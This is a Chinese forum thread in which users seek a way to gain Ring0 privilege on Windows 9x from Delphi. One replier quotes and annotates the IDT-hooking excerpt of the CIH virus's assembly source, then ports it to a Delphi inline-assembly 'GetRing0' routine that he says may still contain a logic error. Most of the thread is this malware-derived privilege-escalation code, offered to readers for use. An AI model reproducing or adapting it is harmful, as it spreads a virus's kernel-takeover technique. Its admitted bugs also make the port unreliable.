NT下是做不到的。要修改IDT必须使用内嵌汇编。Delphi也是可以跨平台的语言,是不会提供与硬件结合这么紧的东西的。现在网上有CIH源代码,你可以参考一下。

解决方案 »

  1.   

    Delphi可以用ASM啊!
    我就是参考了,却写不出代码!那位高手帮个忙!
      

  2.   

    我也想知道!
    用汇编,有的人介绍得头头是道,
    可怎么在DELPHI 或C++BUILDER使用
    就没响了,咳
      

  3.   

    to Kingron:我知道Kingron自己本身就是Delphi的高手!!!曾帮小弟解过不少难题,可见此题之高难???小弟关注!!!
      

  4.   

    我发现了一篇发表在1999.11.29 b13版的
    《令win32应用程序跳入系统层》东南大学 卢威 [email protected]
    是用vc++嵌汇编做的,
    很接近了,可试试
      

  5.   

    to Kingron:小弟再请教您一个问题:如何用Delphi编程监控当前系统中有挂钩程序正在运行???
    若能给出源码,则感激不尽!!!
      

  6.   

    to Kingron:小弟再请教您一个问题:如何用Delphi编程监控当前系统中有挂钩程序正在运行???
    若能给出源码,则感激不尽!!!
      

  7.   

    2 cxx666:
    呵呵,我是菜鸟!
    DebugProc可以监视其他的HOOK。
      

  8.   

    呵呵,有没有比陈盈豪厉害一点儿的?当然要用Delphi!
      

  9.   

    我只是很久以前看到过。因为我一直用NT所以没有太在意。好像是Win9x下IDT处于共享地址范围之内,因此程序可以自由修改IDT。等我找找CIH的源码看看再答复你。这些东西是必须要使用汇编解决的。
      

  10.   

    // 呵呵,找到了。粗看了一下,把关键部分摘出来,并且加上了中文注释,这下该明白了吧。; *************************************                                          
    ; * Let's Modify                      *                                          
    ; * IDT(Interrupt Descriptor Table)   *                                          
    ; * to Get Ring0 Privilege...         *                                          
    ; *************************************                                          
    lea     ecx, StopToRunVirusCode-@0[ebx]
    push    ecx                  // 连续压入8个字节作为缓冲区
    push    eax
    push    eax;// 取得idt偏移,共6字节,含段选择子2字节,偏移4字节。
    sidt    [esp-02h]; Get IDT Base Address// 弹出4字节偏移
    pop     ebx;                                
                                                                                    
    // 每个中断门8字节,所以偏移是HookExceptionNumber*08h
    // 另外的4字节是定位到中心,因为中断门的4字节偏移分开放在8字节的0、1、6、7中。
    // 0、1存放偏移低16位,6、7存放高16位。2,3是段选择子。4、5是门属性。
    add     ebx, HookExceptionNumber*08h+04h ; ZF = 0// 关中断,准备修改idt。
    cli// 取得中断门的4、5、6、7字节,其中6、7字节在ebp高16位
    mov     ebp, [ebx]      ; Get Exception Base// 取得中断门的0、1字节到bp(实际上是ebp的低16位)。
    mov     bp, [ebx-04h]   ; Entry Point
    // 这样就合成了完整的32位偏移。// 取得自己中断函数入口地址,放入esi中。
    lea     esi, MyExceptionHook-@1[ecx]// 压入堆栈
    push    esi// 填充入口低16位到中断门0、1字节。
    mov     [ebx-04h], si           ;// 将高16位移动到低16位。
    shr     esi, 16                 ; Modify Exception// 填充入口高16位到中断门6、7字节。
    mov     [ebx+02h], si           ; Entry Point Address// idt修改完毕。// 调整堆栈
    pop     esi// 此时堆栈比初始状态多压8字节。估计是在引发的中断中处理。
    // ebp的初始中断入口估计也是在自己的中断函数中用于恢复现场。// 后面的就是引发软中断,取得ring0权力。
    // 不过说句老实话。CIH的创意是不错,不过CIH的汇编的水平其实很一般。int     HookExceptionNumber     ; GenerateExceptionint     HookExceptionNumber     ; GenerateExceptionReturnAddressOfEndException     =       $                                        
                                                                                     
    ; *************************************
    ; * Merge All Virus Code Section      *
    ; *************************************; *************************************
    ; * Generate Exception Again          *                          
    ; *************************************
                                                                                     
    int     HookExceptionNumber     ; GenerateException Aga
                                                                                     
                                                                                     
    ; *************************************
    ; * Let's Restore                     *
    ; * Structured Exception Handing      *
    ; *************************************
    ReadyRestoreSE:// idt修改完毕,开中断。
    sti
      

  11.   

    2 BCB:
     麻烦你贴出那篇文章好吗?
    2 GoodHope:
    呵呵,GoodHope老兄,麻烦你翻译成Delphi好吗?我写了,但是在Delphi中编译老是通不过!很多错误!
      

  12.   

    忘了一点。在程序中一直没有提及段选择子的加载,这是因为在Win32应用中只使用一个局部段选择子。代码段啊、数据段啊什么的都是一样的。唯一可能例外的是堆栈。所以没必要管段的操作。这样虽然有点浪费CPU的能力,降低了系统的安全性(虽然从386开始,安全结构就没怎么变),但换来了性能的提高。16位模式的时候远指针的操作本身就比较慢了。32位下还牵扯到影子寄存器的加载、安全检查,速度就更慢了。所以Win32简化了一些想关的东西,以取得更高性能。否则想想用VC的人会怎么样吧。对了,Delphi下可以使用汇编函数。或者干脆用汇编写个模块。具体的语法可以参考System Unit,里面大把使用汇编的地方。最后,别忘了给分。以前跟反Borland的人“对骂”都没这么累。^_^
      

  13.   

    哪篇文章太长,是用VC++编的,移植成C++BUILDER
    可能有点困难,一个头文件"vmm.h"没有,无法试,可跟作者lu wei联系.
      

  14.   

    to:Kingron
    我一直是用NT的。9x两年多没碰过了,机器上根本没装。有一套UNIX环境与80386的书对保护模式讲得很透彻,你可以参考一下。
      

  15.   

    编译是通过了,你自己调试一下吧。
    lea    esi, MyInt; 一句语法应该有逻辑错误,要在Debug中仔细看一下。procedure MyInt;
    asm
      // 这里面的内容可要你自己写哦。
    end;const HookExceptionNumber = 3;procedure GetRing0;
    asm
    // 连续压入8个字节作为缓冲区
    push    eax
    push    eax;// 取得idt偏移,共6字节,含段选择子2字节,偏移4字节。
    sidt    [esp-02h]; // Get IDT Base Address// 弹出4字节偏移
    pop    ebx;// 每个中断门8字节,所以偏移是HookExceptionNumber*08h
    // 另外的4字节是定位到中心,因为中断门的4字节偏移分开放在8字节的0、1、6、7中。
    // 0、1存放偏移低16位,6、7存放高16位。2,3是段选择子。4、5是门属性。
    add    ebx, HookExceptionNumber*08h + 04h;// 关中断,准备修改idt。
    cli// 取得中断门的4、5、6、7字节,其中6、7字节在ebp高16位
    mov    ebp, [ebx]; // Get Exception Base// 取得中断门的0、1字节到bp(实际上是ebp的低16位)。
    mov    bp, [ebx-04h]; // Entry Point
    // 这样就合成了完整的32位偏移。// 取得自己中断函数入口地址,放入esi中。
    lea    esi, MyInt;  // 压入堆栈
    push    esi// 填充入口低16位到中断门0、1字节。
    mov    [ebx-04h], si;// 将高16位移动到低16位。
    shr    esi, 16; // Modify Exception// 填充入口高16位到中断门6、7字节。
    mov    [ebx+02h], si; // Entry Point Address// idt修改完毕。// 调整堆栈
    pop    esi// 此时堆栈比初始状态多压8字节。估计是在引发的中断中处理。
    // ebp的初始中断入口估计也是在自己的中断函数中用于恢复现场。// 后面的就是引发软中断,取得ring0权力。
    // 不过说句老实话。CIH的创意是不错,不过CIH的汇编的水平其实很一般。int    HookExceptionNumber; // GenerateException// ReadyRestoreSE:
    stiend;
      

  16.   

    多人接受答案了:
    gookhope:130+5'
    bcb:10+5'